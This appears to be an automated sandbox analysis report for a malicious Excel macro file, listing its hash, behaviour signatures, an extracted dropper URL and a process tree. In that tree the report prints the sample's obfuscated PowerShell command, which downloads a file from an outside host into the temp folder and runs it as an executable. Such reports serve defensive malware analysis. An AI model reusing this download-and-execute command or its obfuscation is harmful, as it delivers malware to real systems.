Analysis
- max time kernel
136s - max time network
129s - platform
windows10_x64 - resource
win10 - submitted
23/10/2020, 09:35
General
- Target c1.xlsm
- Size 390KB
- Sample201023-2qcllphdae
- SHA256 5988de02b33b85a699c9bf68889973ab8b58a08296fa0ee3eeef4102d6ff84f2
Malware Config
Extracted
-
ps1
-
exe.dropper
https://u.teknik.io/Zrnp7.txt
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Blacklisted process makes network request 1 IoCs
- Executes dropped EXE 2 IoCs
- Loads dropped DLL 9 IoCs
- JavaScript code in executable 2 IoCs
- Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: EnumeratesProcesses 3 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of FindShellTrayWindow 2 IoCs
- Suspicious use of SetWindowsHookEx 12 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\c1.xlsm"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exePowershell $tJHULckXJ='*.*-EX'.replace('*.*-','I'); sal nFsNhqzVZ $tJHULckXJ;'(&(GCM'+' *W-O*)'+ 'Net.'+'Web'+'Cli'+'ent)'+'.Dow'+'nl'+'oad'+'Fil'+'e(''https://u.teknik.io/Zrnp7.txt'',$env:temp+''\''+''UXyfYwUEI.exe'')'|nFsNhqzVZ; start-process($env:temp+'\'+'UXyfYwUEI.exe')1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\UXyfYwUEI.exe"C:\Users\Admin\AppData\Local\Temp\UXyfYwUEI.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\UXyfYwUEI.exe"C:\Users\Admin\AppData\Local\Temp\UXyfYwUEI.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
memory/1452-9-0x00000238A1120000-0x00000238A1121000-memory.dmp
memory/1452-8-0x00000238A0F70000-0x00000238A0F71000-memory.dmp
memory/1452-7-0x00007FFF838E0000-0x00007FFF842CC000-memory.dmp
memory/3588-6-0x000001A5907DF000-0x000001A59081D000-memory.dmp
memory/3588-4-0x000001A5907DF000-0x000001A59081D000-memory.dmp
memory/3588-3-0x000001A5907DF000-0x000001A59081D000-memory.dmp
memory/3588-5-0x000001A5907DF000-0x000001A59081D000-memory.dmp
memory/3588-2-0x000001A58B26E000-0x000001A58B27F000-memory.dmp
memory/3588-1-0x000001A5908D7000-0x000001A590915000-memory.dmp
memory/3588-0-0x00007FFF8C930000-0x00007FFF8CFF6000-memory.dmp